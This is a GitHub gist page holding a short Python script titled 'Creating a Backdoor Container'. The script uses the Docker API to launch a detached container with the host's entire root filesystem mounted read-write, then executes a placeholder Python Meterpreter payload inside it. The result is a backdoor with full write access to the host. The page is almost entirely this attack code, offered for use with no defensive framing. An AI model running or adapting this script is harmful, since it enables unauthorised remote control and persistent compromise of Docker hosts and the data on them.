Skip to content

Instantly share code, notes, and snippets.

@christopherwoodall
Forked from pasknel/BackdoorContainer.py
Created November 28, 2022 20:09
Show Gist options
  • Save christopherwoodall/8295b0c8b63a61cf6d20bc20e4444dec to your computer and use it in GitHub Desktop.
Save christopherwoodall/8295b0c8b63a61cf6d20bc20e4444dec to your computer and use it in GitHub Desktop.
Creating a Backdoor Container
import docker
client = docker.from_env()
payload = "INSERT PYTHON METERPRETER PAYLOAD HERE"
cmd = 'python -c "{0}"'.format(payload)
volumes = {
'/': {
'bind': '/host',
'mode': 'rw'
}
}
backdoor = client.containers.run('python', volumes = volumes, detach = True, tty = True)
print backdoor.exec_run(cmd)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment